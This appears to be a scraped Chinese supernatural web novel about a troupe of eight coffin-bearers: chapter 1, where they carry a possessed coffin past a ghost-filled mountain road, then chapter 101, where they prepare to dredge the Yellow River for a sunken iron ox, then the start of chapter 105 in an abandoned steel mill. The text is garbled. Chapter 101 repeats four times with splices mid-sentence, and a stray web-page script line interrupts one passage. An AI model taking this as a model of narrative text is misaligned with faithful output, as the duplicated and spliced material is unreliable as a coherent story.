《让你抬棺,没让你龙抬头啊!》
第1章 八仙抬棺,神鬼让道!
“义字堂”的门脸,被风雨蚀得掉了色。
牌匾上的金漆剥落殆尽,只剩一个入木三分的“义”字,在斜阳里透着股不合时宜的倔强。
陈义拿着半干的抹布,正擦拭堂内供奉的祖师爷牌位。
这年头,别说抬棺,连土葬都快成了传说。
他这身从爷爷手里传下的本事,怕是要烂在肚子里了。
屋角的旧式电话机突然“铃铃铃”地炸响,尖锐得要把满屋的灰尘都震起来。
陈义擦完最后一下,才慢悠悠走过去接起。
“喂,义字堂。”
电话那头是个干练客气的女声,语速极快:“请问是陈义,陈师傅吗?我是李氏集团董事长助理,我姓王。”
陈义“嗯”了声。
李氏集团,千亿豪门,只在新闻上听过。
“我们董事长,李万川先生,于昨日凌晨过世。”王助理的声音听不出情绪,“他生前立下遗嘱,身后事必须由‘义字堂’的陈师傅主持,并采用最古老的‘八仙抬棺’法,将他葬入西山祖坟。”
陈义捏着话筒的手指顿住。
八仙抬棺。
这四个字,他只在爷爷的酒后醉话里听过。
那不是体力活,是真正的“阵法”。
“王助理,这活儿,我们接不了。”陈义直接拒绝。
那东西的凶险和忌讳,外人根本不懂。
“陈师傅,价钱不是问题。”王助理似乎早有预料,“一千万。事成之后,立刻到账。”
一千万。
陈义的呼吸停了一瞬。
他转头,目光落在墙角那八根积了厚灰的杠木上。
杠木是百年铁桦木所制,油光内敛,沉重如铁,像是八个沉默的卫兵,守护着一段被遗忘的岁月。
爷爷临终前抓着他的手说:“小义,记住,咱抬的不是**,是阴阳两隔的规矩。杠一起,人就是桥,渡人也渡己。但不到万不得已,不可轻启八仙阵,那抬的,就不是棺了……”
“好。”
陈义喉结滚动,只说了一个字。
挂了电话,他从抽屉里翻出满是划痕的手机,拨通第一个号码。
电话那头油锅滋滋作响。
“大牛,别颠勺了,有活儿。”
“义哥?啥活儿啊?”一个憨厚的声音传来。
“大活儿。”
第二个电话,背景是哗啦啦的麻将声。
“胖三,滚出来,别砌你的长城了。”
“哎哟我的义哥,正听胡呢!多大的活儿,比我这清一色对对胡还大?”
“能让你输了的裤衩都赢回来的活儿。”
“得嘞!马上到!”
一个又一个电话打出去。
在工地上搬砖的。
在菜市场卖肉的。
开网约车的。
七个电话,七个兄弟,无一例外,在听到“有活儿”三个字后,都用最快的速度放下了手里的营生。
他们是“义字堂”最后的八个人。
也是陈义过命的兄弟。
不到半天,义字堂的破院里,站满了七个汉子。
他们高矮胖瘦,身上还带着各自工作的风尘,但站在一起,自有一股外人看不懂的煞气。
为首的铁塔壮汉是大牛,他旁边眯着小眼睛的矮胖子是胖三。
“义哥,真有一千万?”胖三搓着手,口水都快流出来了。
陈义没理他,从堂屋里依次将八根杠木、麻绳、特制防滑布鞋一一搬出。
他一边检查杠木有没有一丝裂纹,一边沉声开口。
“爷爷传下来的规矩,都还记着吗?”
众人神色一肃,齐声应道:“记着!”
“念!”
大牛率先开口,声如洪钟:“棺材不落地!”
胖三接着道:“孝子不回头!”
“**不对丧!”
“孕妇不见灵!”
……
八个人,八条汉子,将那些古老的规矩一一念出,声音在小院里回荡。
“这次的东家,李万川。”陈义最后说道。
众人一阵骚动,胖三惊得下巴都合不拢:“就是那个……电视上天天见的千亿首富?”
“没错。”陈义的目光扫过每个人,“所以,这次的活,不一般。都把精神给我绷紧了,谁要是敢掉链子,别怪我不认兄弟。”
第二天,李家别墅。
陈义八人穿着统一的蓝色粗布短打,脚踩黑布鞋,一出现在金碧辉煌的别墅门口,就引来所有人的侧目。
那些穿着黑色名牌西装的李家后人,眼神里毫不掩饰轻蔑与怀疑。
一个穿明黄唐装、仙风道骨的老者,捻着山羊胡走出来,上下打量陈义几眼,鼻子里发出一声轻哼。
“你就是陈义?李老先生遗嘱里说的抬棺匠?”
李家长子李泽楷恭敬地介绍:“陈师傅,这位是港岛来的金大师,是父亲生前最信任的风水顾问。”
金大师背着手,一副高人派头:“抬棺讲究时辰方位,气运流转,不是靠蛮力。待会儿出殡,你们听我号令,让走就走,让停就停,不可乱了我的法程。”
陈义看都没看他。
他径直穿过人群,走向灵堂正中。
那里停着一口巨大的棺材。
通体漆黑,无一丝杂色,材质是号称“万木之王”的阴沉木。
人还没靠近,一股砭人肌骨的寒气就已扑面而来,让整个灵堂的温度都低了好几度。
这口棺材,太凶。
陈义一步步走上前,在众人惊疑的目光中,伸出右手,轻轻按在了棺盖上。
“嗡——”
一股阴冷到极致的怨气,顺着手臂瞬间冲入他体内。
那不是冷,那是要将人的灵魂都冻结、撕碎的暴戾。
陈义身形微不可察地一晃,脸色白了一瞬,随即恢复如常。
他松开手,眼神彻底变了。
他终于明白,爷爷说“那抬的,就不是
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棺了”是什么意思。
这口阴沉木棺材里,根本不是李万川的尸身那么简单。
它镇着一个东西。
一个极其凶恶的东西。
李万川不是找人抬棺下葬,他是找人,用命来把他镇了一辈子的邪物,继续镇下去!
这一千万,买的是他们八兄弟的命。
出殡时辰到。
队伍在金大师的指挥下,缓缓向西山进发。
车队开到半山腰,前方道路被山溪截断,只剩一条崎岖狭窄的山路。
车过不去,只能人抬。
可就在这时,天色骤然暗沉。
刚才还晴空**,转眼间,大块乌云从四面八方涌来,死死压在山顶,天光一丝不透。
山风凭空而起,卷起沙石纸钱,发出呜呜的怪啸,如同无数冤魂在哭嚎。
走在最前面的金大师突然发出一声尖厉惨叫。
“停下!快停下!”
他脸色惨白,手指哆嗦地指着前方:“前面是‘百鬼夜行’局!阴气化煞,活人过不去!过不去啊!”
顺着他指的方向看去,前方山路上,空气扭曲,一道道模糊不清的黑影在其中穿梭拥挤,隐约能听到无数凄厉的嘶吼哀嚎。
那里,就是通往九幽地狱的入口。
李家的孝子贤孙们吓得腿肚子转筋,有人已一屁股瘫坐在地,哭爹喊娘。
李泽楷面无人色,颤抖着看向陈义:“陈……陈师傅,这……这可怎么办?”
陈义冷笑一声。
他从腰间解下酒葫芦,仰头灌了一大口烈酒,随即“噗”的一声,将满口烈酒喷在黑色棺盖上。
酒液落在冰冷的棺木上,发出“滋啦”轻响,升起一缕白烟。
陈义转头,对着身后神情肃穆的七个兄弟,发出一声震**吼:
“都抓稳了!”
“义字当头,百无禁忌!”
“起——灵——!”
一声“起灵”,如平地惊雷。
八人同时沉腰下马,杠木上肩,动作整齐划一,已演练了千百遍。
他们脚下踏着玄妙的“七星步”,随着陈义的号令,一股无形的气力从八人身上升腾而起,凝成一股。
“吱呀——”
杠木发出不堪重负的呻吟。
那口重逾千斤的阴沉木巨棺,竟被他们八人抬得离地而起,稳如泰山!
任凭阴风怒号,鬼影幢幢,陈义八人自一口阳气不泄,一步不退!
金大师眼珠子快要瞪出,指着陈义,惊恐大喊:“疯了!你疯了!你这是在强闯阴路!你这是龙抬头,要出大事的!”
陈义一脚踏出。
正正踩在路中间一块遍布苔藓的煞石上。
“咔嚓!”
坚硬的石头应声碎裂!
他挺直腰杆,声音朗朗,压过了漫山遍野的鬼哭狼嚎:
“我抬的不是棺,是规矩!”
“今日我等八人在此,神鬼也得给我让出一条道来!”
第101章 这次不抬棺,去黄河捞尸!
苏家老宅的清晨,死寂。
胖三坐在桌前,嘴里的白粥没有一丝味道。
他脑子里,一遍遍回响着昨天在碧云寺听到的声音。
那不是山崩地裂。
那是一种更恐怖的,仿佛九幽巨兽在深渊下张开巨口,吞咽食物时发出的“咕嘟”声。
他现在看什么都带着重影。
脚下的青砖地,似乎随时会裂开一道通往地狱的口子。
天上的云,像是遮住了一只俯瞰人间的冷漠巨眼。
其他几个兄弟也好不到哪去,一个个丢了魂,只有大牛还在院里擦拭他的金瓜锤,动作却机械而僵硬。
这个家,或者说,这个世界,从义哥带回那口青铜巨棺开始,就变得陌生了。
义哥,变得更陌生。
胖三偷偷瞥了一眼书房紧闭的大门。
他觉得,义哥已经不再是和他们一样的人了。
他是规矩本身。
他是天。
这个念头,让胖三的心脏一阵抽痛,空落落的,又怕得要死。
“吱呀——”
书房的门开了。
陈义走了出来。
一身简单的黑衣,却让整个院子的光线都黯淡了几分,空气变得粘稠,压得人喘不过气。
他的眼神扫过众人,平静,却深得望不见底。
“胖三。”
“欸!在!义哥!”
胖三一个激灵,手里的瓷碗“咣当”一声掉在桌上,他猛地弹了起来。
“去查黄河所有的古渡口资料。”
陈义的声音没有情绪,字字清晰。
“特别是那些,已经废弃,或者只在旧地图上有名字的地方。”
“啊?”胖三彻底愣住,“查……查渡口?义哥,这回的活儿,跟水有关系?”
陈义没有回答。
他转向猴子和老七。
“库房里那几卷‘缚龙索’,用**血混桐油,浸泡七七四十九遍。再找出‘定水桩’,擦干净。”
最后,他的目光落在大牛身上。
“大牛,你的金瓜锤用不上了。”
“去后院,把那几块泰山石磨成八个石锁,每个三百斤,刻满避水符。”
一连串的命令,匪夷所思。
缚龙索,定水桩,泰山石锁……这跟抬棺的活儿,八竿子也打不着。
“义哥,咱们这……到底是要干嘛去啊?”猴子壮着胆子问。
陈义的目光飘向遥远的西方,眼神里,映照出一条奔腾浑浊的大河。
“义字堂,去捞点老东西了。”
说完,他转身回了书房,留下满院子面面相觑的兄弟。
胖三快疯了。
查古渡口?这叫什么差事!
他开着车在京城里乱转,国家图书馆的资料浩如烟海,他翻了两天,只觉得眼花缭乱。
“同志,我找那种……闹鬼的,沉过船的,没了的渡口……”
图书管理员推了推眼镜,看他的眼神,像是在看一个刚从精神病院跑出来的病人。
胖三垂头丧气地回到苏家,差点给陈义跪下说这活儿干不了。
还是福伯看他愁眉苦脸,给他沏了杯茶。
“胖爷,您这么找,是寻龙点穴的法子,可您找的是阴穴,得去专门的地方。”
“西城根儿,有个‘水文旧档馆’,存的都是前清、民国的旧东西,兴许有您要的。”
胖三眼睛猛地亮了,抓起车钥匙就往外冲。
就在胖三为了几张破地图焦头烂额时,苏家后院,已然变成了另一番景象。
大牛赤着膀子,肌肉虬结如山岩,正抡着一把特制重锤猛砸泰山石。
火星四溅中,他的每一次落锤,都带着一种与大地共鸣的沉重韵律。
猴子和老七架起一口大锅,锅里**血与桐油熬成的液体正“咕嘟咕嘟”冒着泡,散发着刺鼻的腥臭。
他们将粗如儿臂的黑色绳索浸入其中,那“缚龙索”在滚油里翻腾,竟隐隐发出龙吟般的凄厉嘶鸣。
整个义字堂,都在为一件未知而恐怖的大事,疯狂运转。
书房内。
陈义盘膝而坐。
他面前,静静躺着那面“病历铜镜”。
镜中,浑浊的黄河水奔腾咆哮,画面不断下沉,最终定格。
一尊巨大的铁牛,半埋于河床淤泥。
陈义伸出手指,轻轻触碰镜
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面。
指尖接触铁牛影像的瞬间,一股无法用言语形容的洪流,冲入他的神识。
是悲怆。
是疲惫。
是被遗忘亿万年的孤寂。
那不是铁。
它在哭泣。
千百年来,它以身**水脉,神性被无数溺死冤魂的怨念消磨殆尽,被一道道因果的黑色锁链死死缠绕,只剩下无边的痛苦。
陈义握紧了掌心的【山河鳞】。
他能清晰地感觉到,黄河在生病。
病灶的核心,就是这尊快要撑不住的镇河铁牛。
“老祖宗,这顿饭,不好下咽啊……”陈义喃喃自语。
作为回应,铁墙后的青铜巨棺,心跳声沉稳地传来,带着一丝不容置喙的催促。
就在这时,书房的门被猛地撞开。
胖三满头大汗地冲了进来,手里死死攥着一卷泛黄的图纸,声音因激动而变了调。
“义哥!找到了!我**找到了!”
他冲到桌前,一把将图纸在铜镜旁摊开。
光绪年间绘制的黄河水道图,纸张脆弱,边缘残破。
在中下游的一个拐弯处,一个用朱砂画的叉,狰狞刺眼。
叉的旁边,是一行已经褪色的蝇头小楷。
【铁牛沉沙,阴阳交汇。活人勿近,死不渡河。】
在那行字的下方,还有两个更大、更凶的字,是后来人批注上去的。
【鬼渡】
陈义的目光,从图纸上的“鬼渡”,缓缓移向“病历铜镜”。
镜中,那尊黄河铁牛所在的黑色区域,正在剧烈闪烁。
位置,与地图上的“鬼渡”,分毫不差。
陈义缓缓站起身,拿起了那份古老的图纸。
“备车。”
他走出书房,看着院子里整装待发的兄弟,和那些奇形怪状、散发着不祥气息的“法器”。
“告诉兄弟们,换家伙。”
他的声音不大,却让院中所有嘈杂瞬间静止。
“这次,咱们不抬棺,也不拆庙。”
陈义的眼神深邃,仿佛映照着那条从远古奔流至今的浑浊大河。
“咱们去黄河……捞尸。”
第101章 这次不抬棺,去黄河捞尸!
苏家老宅的清晨,死寂。
胖三坐在桌前,嘴里的白粥没有一丝味道。
他脑子里,一遍遍回响着昨天在碧云寺听到的声音。
那不是山崩地裂。
那是一种更恐怖的,仿佛九幽巨兽在深渊下张开巨口,吞咽食物时发出的“咕嘟”声。
他现在看什么都带着重影。
脚下的青砖地,似乎随时会裂开一道通往地狱的口子。
天上的云,像是遮住了一只俯瞰人间的冷漠巨眼。
其他几个兄弟也好不到哪去,一个个丢了魂,只有大牛还在院里擦拭他的金瓜锤,动作却机械而僵硬。
这个家,或者说,这个世界,从义哥带回那口青铜巨棺开始,就变得陌生了。
义哥,变得更陌生。
胖三偷偷瞥了一眼书房紧闭的大门。
他觉得,义哥已经不再是和他们一样的人了。
他是规矩本身。
他是天。
这个念头,让胖三的心脏一阵抽痛,空落落的,又怕得要死。
“吱呀——”
书房的门开了。
陈义走了出来。
一身简单的黑衣,却让整个院子的光线都黯淡了几分,空气变得粘稠,压得人喘不过气。
他的眼神扫过众人,平静,却深得望不见底。
“胖三。”
“欸!在!义哥!”
胖三一个激灵,手里的瓷碗“咣当”一声掉在桌上,他猛地弹了起来。
“去查黄河所有的古渡口资料。”
陈义的声音没有情绪,字字清晰。
“特别是那些,已经废弃,或者只在旧地图上有名字的地方。”
“啊?”胖三彻底愣住,“查……查渡口?义哥,这回的活儿,跟水有关系?”
陈义没有回答。
他转向猴子和老七。
“库房里那几卷‘缚龙索’,用**血混桐油,浸泡七七四十九遍。再找出‘定水桩’,擦干净。”
最后,他的目光落在大牛身上。
“大牛,你的金瓜锤用不上了。”
“去后院,把那几块泰山石磨成八个石锁,每个三百斤,刻满避水符。”
一连串的命令,匪夷所思。
缚龙索,定水桩,泰山石锁……这跟抬棺的活儿,八竿子也打不着。
“义哥,咱们这……到底是要干嘛去啊?”猴子壮着胆子问。
陈义的目光飘向遥远的西方,眼神里,映照出一条奔腾浑浊的大河。
“义字堂,去捞点老东西了。”
说完,他转身回了书房,留下满院子面面相觑的兄弟。
胖三快疯了。
查古渡口?这叫什么差事!
他开着车在京城里乱转,国家图书馆的资料浩如烟海,他翻了两天,只觉得眼花缭乱。
“同志,我找那种……闹鬼的,沉过船的,没了的渡口……”
图书管理员推了推眼镜,看他的眼神,像是在看一个刚从精神病院跑出来的病人。
胖三垂头丧气地回到苏家,差点给陈义跪下说这活儿干不了。
还是福伯看他愁眉苦脸,给他沏了杯茶。
“胖爷,您这么找,是寻龙点穴的法子,可您找的是阴穴,得去专门的地方。”
“西城根儿,有个‘水文旧档馆’,存的都是前清、民国的旧东西,兴许有您要的。”
胖三眼睛猛地亮了,抓起车钥匙就往外冲。
就在胖三为了几张破地图焦头烂额时,苏家后院,已然变成了另一番景象。
大牛赤着膀子,肌肉虬结如山岩,正抡着一把特制重锤猛砸泰山石。
火星四溅中,他的每一次落锤,都带着一种与大地共鸣的沉重韵律。
猴子和老七架起一口大锅,锅里**血与桐油熬成的液体正“咕嘟咕嘟”冒着泡,散发着刺鼻的腥臭。
他们将粗如儿臂的黑色绳索浸入其中,那“缚龙索”在滚油里翻腾,竟隐隐发出龙吟般的凄厉嘶鸣。
整个义字堂,都在为一件未知而恐怖的大事,疯狂运转。
书房内。
陈义盘膝而坐。
他面前,静静躺着那面“病历铜镜”。
镜中,浑浊的黄河水奔腾咆哮,画面不断下沉,最终定格。
一尊巨大的铁牛,半埋于河床淤泥。
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是悲怆。
是疲惫。
是被遗忘亿万年的孤寂。
那不是铁。
它在哭泣。
千百年来,它以身**水脉,神性被无数溺死冤魂的怨念消磨殆尽,被一道道因果的黑色锁链死死缠绕,只剩下无边的痛苦。
陈义握紧了掌心的【山河鳞】。
他能清晰地感觉到,黄河在生病。
病灶的核心,就是这尊快要撑不住的镇河铁牛。
“老祖宗,这顿饭,不好下咽啊……”陈义喃喃自语。
作为回应,铁墙后的青铜巨棺,心跳声沉稳地传来,带着一丝不容置喙的催促。
就在这时,书房的门被猛地撞开。
胖三满头大汗地冲了进来,手里死死攥着一卷泛黄的图纸,声音因激动而变了调。
“义哥!找到了!我**找到了!”
他冲到桌前,一把将图纸在铜镜旁摊开。
光绪年间绘制的黄河水道图,纸张脆弱,边缘残破。
在中下游的一个拐弯处,一个用朱砂画的叉,狰狞刺眼。
叉的旁边,是一行已经褪色的蝇头小楷。
【铁牛沉沙,阴阳交汇。活人勿近,死不渡河。】
在那行字的下方,还有两个更大、更凶的字,是后来人批注上去的。
【鬼渡】
陈义的目光,从图纸上的“鬼渡”,缓缓移向“病历铜镜”。
镜中,那尊黄河铁牛所在的黑色区域,正在剧烈闪烁。
位置,与地图上的“鬼渡”,分毫不差。
陈义缓缓站起身,拿起了那份古老的图纸。
“备车。”
他走出书房,看着院子里整装待发的兄弟,和那些奇形怪状、散发着不祥气息的“法器”。
“告诉兄弟们,换家伙。”
他的声音不大,却让院中所有嘈杂瞬间静止。
“这次,咱们不抬棺,也不拆庙。”
陈义的眼神深邃,仿佛映照着那条从远古奔流至今的浑浊大河。
“咱们去黄河……捞尸。”
第101章 这次不抬棺,去黄河捞尸!
苏家老宅的清晨,死寂。
胖三坐在桌前,嘴里的白粥没有一丝味道。
他脑子里,一遍遍回响着昨天在碧云寺听到的声音。
那不是山崩地裂。
那是一种更恐怖的,仿佛九幽巨兽在深渊下张开巨口,吞咽食物时发出的“咕嘟”声。
他现在看什么都带着重影。
脚下的青砖地,似乎随时会裂开一道通往地狱的口子。
天上的云,像是遮住了一只俯瞰人间的冷漠巨眼。
其他几个兄弟也好不到哪去,一个个丢了魂,只有大牛还在院里擦拭他的金瓜锤,动作却机械而僵硬。
这个家,或者说,这个世界,从义哥带回那口青铜巨棺开始,就变得陌生了。
义哥,变得更陌生。
胖三偷偷瞥了一眼书房紧闭的大门。
他觉得,义哥已经不再是和他们一样的人了。
他是规矩本身。
他是天。
这个念头,让胖三的心脏一阵抽痛,空落落的,又怕得要死。
“吱呀——”
书房的门开了。
陈义走了出来。
一身简单的黑衣,却让整个院子的光线都黯淡了几分,空气变得粘稠,压得人喘不过气。
他的眼神扫过众人,平静,却深得望不见底。
“胖三。”
“欸!在!义哥!”
胖三一个激灵,手里的瓷碗“咣当”一声掉在桌上,他猛地弹了起来。
“去查黄河所有的古渡口资料。”
陈义的声音没有情绪,字字清晰。
“特别是那些,已经废弃,或者只在旧地图上有名字的地方。”
“啊?”胖三彻底愣住,“查……查渡口?义哥,这回的活儿,跟水有关系?”
陈义没有回答。
他转向猴子和老七。
“库房里那几卷‘缚龙索’,用**血混桐油,浸泡七七四十九遍。再找出‘定水桩’,擦干净。”
最后,他的目光落在大牛身上。
“大牛,你的金瓜锤用不上了。”
“去后院,把那几块泰山石磨成八个石锁,每个三百斤,刻满避水符。”
一连串的命令,匪夷所思。
缚龙索,定水桩,泰山石锁……这跟抬棺的活儿,八竿子也打不着。
“义哥,咱们这……到底是要干嘛去啊?”猴子壮着胆子问。
陈义的目光飘向遥远的西方,眼神里,映照出一条奔腾浑浊的大河。
“义字堂,去捞点老东西了。”
说完,他转身回了书房,留下满院子面面相觑的兄弟。
胖三快疯了。
查古渡口?这叫什么差事!
他开着车在京城里乱转,国家图书馆的资料浩如烟海,他翻了两天,只觉得眼花缭乱。
“同志,我找那种……闹鬼的,沉过船的,没了的渡口……”
图书管理员推了推眼镜,看他的眼神,像是在看一个刚从精神病院跑出来的病人。
胖三垂头丧气地回到苏家,差点给陈义跪下说这活儿干不了。
还是福伯看他愁眉苦脸,给他沏了杯茶。
“胖爷,您这么找,是寻龙点穴的法子,可您找的是阴穴,得去专门的地方。”
“西城根儿,有个‘水文旧档馆’,存的都是前清、民国的旧东西,兴许有您要的。”
胖三眼睛猛地亮了,抓起车钥匙就往外冲。
就在胖三为了几张破地图焦头烂额时,苏家后院,已然变成了另一番景象。
大牛赤着膀子,肌肉虬结如山岩,正抡着一把特制重锤猛砸泰山石。
火星四溅中,他的每一次落锤,都带着一种与大地共鸣的沉重韵律。
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整个义字堂,都在为一件未知而恐怖的大事,疯狂运转。
书房内。
陈义盘膝而坐。
他面前,静静躺着那面“病历铜镜”。
镜中,浑浊的黄河水奔腾咆哮,画面不断下沉,最终定格。
一尊巨大的铁牛,半埋于河床淤泥。
陈义伸出手指,轻轻触碰镜
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$(''.inform'').remove();
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面。
指尖接触铁牛影像的瞬间,一股无法用言语形容的洪流,冲入他的神识。
是悲怆。
是疲惫。
是被遗忘亿万年的孤寂。
那不是铁。
它在哭泣。
千百年来,它以身**水脉,神性被无数溺死冤魂的怨念消磨殆尽,被一道道因果的黑色锁链死死缠绕,只剩下无边的痛苦。
陈义握紧了掌心的【山河鳞】。
他能清晰地感觉到,黄河在生病。
病灶的核心,就是这尊快要撑不住的镇河铁牛。
“老祖宗,这顿饭,不好下咽啊……”陈义喃喃自语。
作为回应,铁墙后的青铜巨棺,心跳声沉稳地传来,带着一丝不容置喙的催促。
就在这时,书房的门被猛地撞开。
胖三满头大汗地冲了进来,手里死死攥着一卷泛黄的图纸,声音因激动而变了调。
“义哥!找到了!我**找到了!”
他冲到桌前,一把将图纸在铜镜旁摊开。
光绪年间绘制的黄河水道图,纸张脆弱,边缘残破。
在中下游的一个拐弯处,一个用朱砂画的叉,狰狞刺眼。
叉的旁边,是一行已经褪色的蝇头小楷。
【铁牛沉沙,阴阳交汇。活人勿近,死不渡河。】
在那行字的下方,还有两个更大、更凶的字,是后来人批注上去的。
【鬼渡】
陈义的目光,从图纸上的“鬼渡”,缓缓移向“病历铜镜”。
镜中,那尊黄河铁牛所在的黑色区域,正在剧烈闪烁。
位置,与地图上的“鬼渡”,分毫不差。
陈义缓缓站起身,拿起了那份古老的图纸。
“备车。”
他走出书房,看着院子里整装待发的兄弟,和那些奇形怪状、散发着不祥气息的“法器”。
“告诉兄弟们,换家伙。”
他的声音不大,却让院中所有嘈杂瞬间静止。
“这次,咱们不抬棺,也不拆庙。”
陈义的眼神深邃,仿佛映照着那条从远古奔流至今的浑浊大河。
“咱们去黄河……捞尸。”
第101章 这次不抬棺,去黄河捞尸!
苏家老宅的清晨,死寂。
胖三坐在桌前,嘴里的白粥没有一丝味道。
他脑子里,一遍遍回响着昨天在碧云寺听到的声音。
那不是山崩地裂。
那是一种更恐怖的,仿佛九幽巨兽在深渊下张开巨口,吞咽食物时发出的“咕嘟”声。
他现在看什么都带着重影。
脚下的青砖地,似乎随时会裂开一道通往地狱的口子。
天上的云,像是遮住了一只俯瞰人间的冷漠巨眼。
其他几个兄弟也好不到哪去,一个个丢了魂,只有大牛还在院里擦拭他的金瓜锤,动作却机械而僵硬。
这个家,或者说,这个世界,从义哥带回那口青铜巨棺开始,就变得陌生了。
义哥,变得更陌生。
胖三偷偷瞥了一眼书房紧闭的大门。
他觉得,义哥已经不再是和他们一样的人了。
他是规矩本身。
他是天。
这个念头,让胖三的心脏一阵抽痛,空落落的,又怕得要死。
“吱呀——”
书房的门开了。
陈义走了出来。
一身简单的黑衣,却让整个院子的光线都黯淡了几分,空气变得粘稠,压得人喘不过气。
他的眼神扫过众人,平静,却深得望不见底。
“胖三。”
“欸!在!义哥!”
胖三一个激灵,手里的瓷碗“咣当”一声掉在桌上,他猛地弹了起来。
“去查黄河所有的古渡口资料。”
陈义的声音没有情绪,字字清晰。
“特别是那些,已经废弃,或者只在旧地图上有名字的地方。”
“啊?”胖三彻底愣住,“查……查渡口?义哥,这回的活儿,跟水有关系?”
陈义没有回答。
他转向猴子和老七。
“库房里那几卷‘缚龙索’,用**血混桐油,浸泡七七四十九遍。再找出‘定水桩’,擦干净。”
最后,他的目光落在大牛身上。
“大牛,你的金瓜锤用不上了。”
“去后院,把那几块泰山石磨成八个石锁,每个三百斤,刻满避水符。”
一连串的命令,匪夷所思。
缚龙索,定水桩,泰山石锁……这跟抬棺的活儿,八竿子也打不着。
“义哥,咱们这……到底是要干嘛去啊?”猴子壮着胆子问。
陈义的目光飘向遥远的西方,眼神里,映照出一条奔腾浑浊的大河。
“义字堂,去捞点老东西了。”
说完,他转身回了书房,留下满院子面面相觑的兄弟。
胖三快疯了。
查古渡口?这叫什么差事!
他开着车在京城里乱转,国家图书馆的资料浩如烟海,他翻了两天,只觉得眼花缭乱。
“同志,我找那种……闹鬼的,沉过船的,没了的渡口……”
图书管理员推了推眼镜,看他的眼神,像是在看一个刚从精神病院跑出来的病人。
胖三垂头丧气地回到苏家,差点给陈义跪下说这活儿干不了。
还是福伯看他愁眉苦脸,给他沏了杯茶。
“胖爷,您这么找,是寻龙点穴的法子,可您找的是阴穴,得去专门的地方。”
“西城根儿,有个‘水文旧档馆’,存的都是前清、民国的旧东西,兴许有您要的。”
胖三眼睛猛地亮了,抓起车钥匙就往外冲。
就在胖三为了几张破地图焦头烂额时,苏家后院,已然变成了另一番景象。
大牛赤着膀子,肌肉虬结如山岩,正抡着一把特制重锤猛砸泰山石。
火星四溅中,他的每一次落锤,都带着一种与大地共鸣的沉重韵律。
猴子和老七架起一口大锅,锅里**血与桐油熬成的液体正“咕嘟咕嘟”冒着泡,散发着刺鼻的腥臭。
他们将粗如儿臂的黑色绳索浸入其中,那“缚龙索”在滚油里翻腾,竟隐隐发出龙吟般的凄厉嘶鸣。
整个义字堂,都在为一件未知而恐怖的大事,疯狂运转。
书房内。
陈义盘膝而坐。
他面前,静静躺着那面“病历铜镜”。
镜中,浑浊的黄河水奔腾咆哮,画面不断下沉,最终定格。
一尊巨大的铁牛,半埋于河床淤泥。
陈义伸出手指,轻轻触碰镜
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指尖接触铁牛影像的瞬间,一股无法用言语形容的洪流,冲入他的神识。
是悲怆。
是疲惫。
是被遗忘亿万年的孤寂。
那不是铁。
它在哭泣。
千百年来,它以身**水脉,神性被无数溺死冤魂的怨念消磨殆尽,被一道道因果的黑色锁链死死缠绕,只剩下无边的痛苦。
陈义握紧了掌心的【山河鳞】。
他能清晰地感觉到,黄河在生病。
病灶的核心,就是这尊快要撑不住的镇河铁牛。
“老祖宗,这顿饭,不好下咽啊……”陈义喃喃自语。
作为回应,铁墙后的青铜巨棺,心跳声沉稳地传来,带着一丝不容置喙的催促。
就在这时,书房的门被猛地撞开。
胖三满头大汗地冲了进来,手里死死攥着一卷泛黄的图纸,声音因激动而变了调。
“义哥!找到了!我**找到了!”
他冲到桌前,一把将图纸在铜镜旁摊开。
光绪年间绘制的黄河水道图,纸张脆弱,边缘残破。
在中下游的一个拐弯处,一个用朱砂画的叉,狰狞刺眼。
叉的旁边,是一行已经褪色的蝇头小楷。
【铁牛沉沙,阴阳交汇。活人勿近,死不渡河。】
在那行字的下方,还有两个更大、更凶的字,是后来人批注上去的。
【鬼渡】
陈义的目光,从图纸上的“鬼渡”,缓缓移向“病历铜镜”。
镜中,那尊黄河铁牛所在的黑色区域,正在剧烈闪烁。
位置,与地图上的“鬼渡”,分毫不差。
陈义缓缓站起身,拿起了那份古老的图纸。
“备车。”
他走出书房,看着院子里整装待发的兄弟,和那些奇形怪状、散发着不祥气息的“法器”。
“告诉兄弟们,换家伙。”
他的声音不大,却让院中所有嘈杂瞬间静止。
“这次,咱们不抬棺,也不拆庙。”
陈义的眼神深邃,仿佛映照着那条从远古奔流至今的浑浊大河。
“咱们去黄河……捞尸。”
第105章 签我生死契,抬棺你得听我的!
夜色如墨,侵吞了京郊黑风口的最后一丝光亮。
这里曾是乱葬岗,后又沦为废弃的工业区,如今只剩下一座座残破厂房,如同匍匐在黑暗中的钢铁巨兽。
锈迹斑斑的铁架在夜风中发出呜咽,像是无数亡魂在低语。
一辆黑色的红旗轿车,如幽灵般悄无声息地滑入这片死地,停在一座巨大的废弃炼钢厂前。
车门推开,陈义率先下车。
他依旧是一身简单的黑色便装,那根从不离身的乌木杠木却并未带来。
他空着手,神情冷漠地打量着眼前这座钢铁坟场,空气中弥漫着一股陈年铁锈、机油和……泥土深处泛上来的陈腐气息。
胖三和大牛紧随其后。
胖三怀里死死抱着一个紫檀木盒,额头布满细密的冷汗,他压低声音,牙齿都在轻颤:
“义哥,这地方邪性得慌……我怎么感觉,比葬龙谷还瘆人?”
大牛则背着一个巨大的帆布包,鼓鼓囊囊,分量惊人。他一言不发,如一尊铁塔护在陈义身侧,警惕地扫视着四周的黑暗。
陈义并未理会胖三,目光穿透黑暗,落在空无一人的厂房门口,声音平淡地响起。
“人我带来了,东西呢?”
声音不大,却在空旷的厂区里激起一圈圈无形的回音。
回应他的,是死一般的寂静。
只有风声,在锈蚀的管道间穿行,发出鬼魅般的尖啸。
大牛眉头紧锁,魁梧的身躯上前一步,将陈义护在身后。
就在这时。
“嘎——吱——”
炼钢厂那扇巨大的铁门,发出令人牙酸的摩擦声,缓缓向内开启一道能容一人通过的缝隙。
一个沙哑的声音从门后传来,带着一股子常年不见天日的阴冷。
“陈八爷果然守信。请吧,我们三爷,已恭候多时。”
“八爷?”胖三愣了愣,瞬间反应过来,这是道上对陈义的尊称。义字堂八人,陈义为首,是为“八爷”。
陈义面无表情,径直抬脚,向那道黑暗的门缝走去。
“义哥!”胖三下意识地想去拉。
“跟上。”
陈义头也不回,两个字,不容置喙。
胖三与大牛对视一眼,只能咬着牙,快步跟了进去。
炼钢厂内部空间极大,高耸的穹顶下,废弃的设备管道交错纵横,宛如一头巨兽被剖开后露出的森森白骨与内脏。
正中央的空地上,生着一堆篝火,火光摇曳,将十几个人的影子投射在斑驳的墙壁上,扭曲拉长,如同鬼影。
那十几人个个气息沉凝,身上都带着一股土腥与血腥混合的独特气味。
